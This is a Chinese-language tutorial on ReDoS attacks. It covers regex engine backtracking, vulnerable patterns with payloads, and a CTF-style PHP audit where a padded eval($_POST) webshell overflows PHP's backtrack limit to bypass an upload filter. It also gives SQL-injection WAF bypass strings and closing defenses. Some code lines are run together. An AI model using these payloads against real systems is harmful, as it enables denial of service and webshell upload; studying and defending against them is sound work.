DOS为拒绝服务攻击,re则是由于正则表达式使用不当,陷入正则引擎的回溯陷阱导致服务崩溃,大量消耗后台性能
正则
 探讨redos攻击之前,首先了解下正则的一些知识
执行过程
- 
大体的执行过程分为: 编译 -> 执行
 - 
编译过程中,首先进行预编译,然后进入编译阶段
 - 
执行的时候利用正则引擎进行匹配,最终得出匹配成功or失败
 - 
编码过程中尽量使用预编译,并将预编译结果临时保存到全局变量,预编译的速度要比即用编辑快!
-- coding:utf-8 --
import re
import timepattern = r"http://(?:.?\w+)+"
text = r'xxx.com'
预编译
pattern_compile = re.compile(pattern)
time_begin = time.time()
for i in range(5000000):
pattern_compile.match(text)
print("compile total time = {0}".format(time.time() - time_begin))time_begin = time.time()
未使用预编译
for i in range(5000000):
re.match(pattern, text)
print("not compile total time = {0}".format(time.time() - time_begin))compile total time = 3.97600007057
not compile total time = 11.0629999638 
正则引擎
- 
DFA-确定型有穷自动机
- 捏着文本串去比较正则式,看到一个子正则式,就把可能的匹配串全标注出来,然后再看正则式的下一个部分,根据新的匹配结果更新标注
 - 文本串中每一个字符串只扫描一次,速度快,特征少
 - 文本主导,按照文本的顺序执行(确定型)
 - 没有回溯的过程,不能使用断言等正则高级语法
 
 - 
NFA-非确定性有穷自动机
- 捏着正则式去比文本,吃掉一个字符,就把它跟正则式比较,匹配就记下来:"where when匹配上了!",接着往下干。一旦不匹配,就把刚吃的这个字符吐出来,一个个的吐,直到回到上一次匹配的地方
 - 反复吞吐文本字符,速度慢,特征丰富
 - 表达式主导,按照表达式主导执行
 - 有回溯的过程,能使用断言等正则高级语法
 
 
正则引擎使用场景
| 引擎类型 | 程序 | 
|---|---|
| DFA | awk(大多数版本)、egrep(大多数版本)、flex、lex、MySQL、Procmail | 
| 传统型 NFA | GNU Emacs、Java、grep(大多数版本)、less、more、.NET语言、PCRE library、Perl、PHP(所有三套正则库)、Python、Ruby、set(大多数版本)、vi | 
| POSIX NFA | mawk、Mortice Lern System's utilities、GUN Emacs(明确指定时使用) | 
| DFA/NFA混合 | GNU awk、 GNU grep/egrep、 Tcl | 
- 概括下,大多数高级语言都是使用
NFA正则引擎,功能强大 - 数据库则使用
DFA正则引擎,如MongoDB,MySQL 
ReDos问题
 下面跳出正则部分,开始描述DOS部分
回溯陷阱
 前文我们已经提到NFA正则引擎的自身机制导致正则匹配有回溯的问题
eg: text = "aaaaaaaaaaaaaa", pattern=/^(a*)b$/
(a*),匹配到了文本中的aaaaaaaaaaaaaa- 匹配正则中
b无法匹配,text中的所有的a都被(a*)吃了 - 开始吐,吐一个a不行
 - 继续吐......
 - 到最后都不能匹配,如果文本a过多,回溯次数过多,Dos拒绝服务
 - 如果一个正则表达式有多个部分需要回溯,那么次数就是指数型。文本长度为100,两个部分需要回溯,则100^2 = 10000次,恐怖
 
eg:
import re
import time
begin_time = time.time()
re.match("^(a+)+$", r"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!")
print("total time = {0}".format(time.time() - begin_time))
>>>
total time = 31.8870000839
        一些ReDos样例
- (a+)+
 - ([a-zA-Z]+)*
 - (a|aa)+
 - (a|a?)+
 - (.*a){x} | for x > 10
 
Payload: "aaaaaaaaaaaaaaaaaa!"
一些业务场景
- 
Person Name:
- Regex: 
^[a-zA-Z]+(([\'\,\.\-][a-zA-Z ])?[a-zA-Z]*)*$ - Payload: 
aaaaaaaaaaaaaaaaaaaaaaaaaaaa! 
 - Regex: 
 - 
Java Classname
- Regex: 
^(([a-z])+.)+[A-Z]([a-z])+$ - Payload: 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa! 
 - Regex: 
 - 
Email Validation
- Regex: 
^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@(([0-9a-zA-Z])+([-\w]*[0-9a-zA-Z])*\.)+[a-zA-Z]{2,9})$ - Payload: 
a@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa! 
 - Regex: 
 - 
Multiple Email address validation
- Regex: 
^[a-zA-Z]+(([\'\,\.\-][a-zA-Z ])?[a-zA-Z]*)*\s+<(\w[-._\w]*\w@\w[-._\w]*\w\.\w{2,3})>$|^(\w[-._\w]*\w@\w[-._\w]*\w\.\w{2,3})$ - Payload: 
aaaaaaaaaaaaaaaaaaaaaaaa! 
 - Regex: 
 - 
Decimal validator
- Regex: 
^\d*[0-9](|.\d*[0-9]|)*$ - Payload: 
1111111111111111111111111! 
 - Regex: 
 - 
Pattern Matcher
- Regex: 
^([a-z0-9]+([\-a-z0-9]*[a-z0-9]+)?\.){0,}([a-z0-9]+([\-a-z0-9]*[a-z0-9]+)?){1,63}(\.[a-z0-9]{2,7})+$ - Payload: 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa! 
 - Regex: 
 
小结下
- 重复分组构造
 - 交替重叠
 
防御&&优化
 从开发or安全角度
- 正则表达式书写注意,防止多处回溯(需要开发有一定的正则功底)
 - 文本串长度限制
 

最后的一个例子
一道php代码审计
<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}
$file_name = 'C:\phpStudy\WWW\xxx\webshell.php';
$user_dir = 'C:\phpStudy\WWW\xxx' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($file_name);
//$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    echo "successful";
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);
    header("Location: $path", true, 303);
}
?>
        代码最后的目的是绕过is_php函数的限制,写入php木马
如下,这个是绕不过正则的
<?php
    @eval ($_REQUEST["xxx"]);
?>
        - 但是这个正则存在回溯陷阱问题
 - php中有最大回溯次数的限制。默认为1000000
 

payload
'aaa<?php eval($_POST[txt]);//' + 'a' * 1000000
        aaaaaaaa...aaaaaaaa会吃完正则中第一个.*,但是该payload不会匹配[(;?>]`,所以只能吐,进入回溯陷阱
生成POC文件
# -*- coding:utf-8 -*-
# print('aaa<?php eval($_POST[txt]);//' + 'a' * 1000000)
filename = 'webshell_flag.php'
with open(filename, 'w') as file_object:
    file_object.write('aaa<?php eval($_POST[txt]);//' + 'a' * 1000000)
        
成功绕过
其它:
- 
waf - 1
<?php if(preg_match('/SELECT.+FROM.+/is', $input)) { die('SQL Injection'); } - 
waf - 2
<?php if(preg_match('/UNION.+?SELECT/is', $input)) { die('SQL Injection'); } 
payload: UNION/*aaaaa*/SELECT (aaaaa吃掉第一个.+?,后续发现 S 和 * 不匹配,导致开始吐,进入陷阱)
上述的防御
- 
用
<?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data);preg_match对字符串进行匹配,一定要使用===全等号来判断返回值}
if(is_php(input) === 0) { // fwrite(f, $input); ...
} - 
因为正常情况返回 0, 1 ,超过回溯次数返回False
 

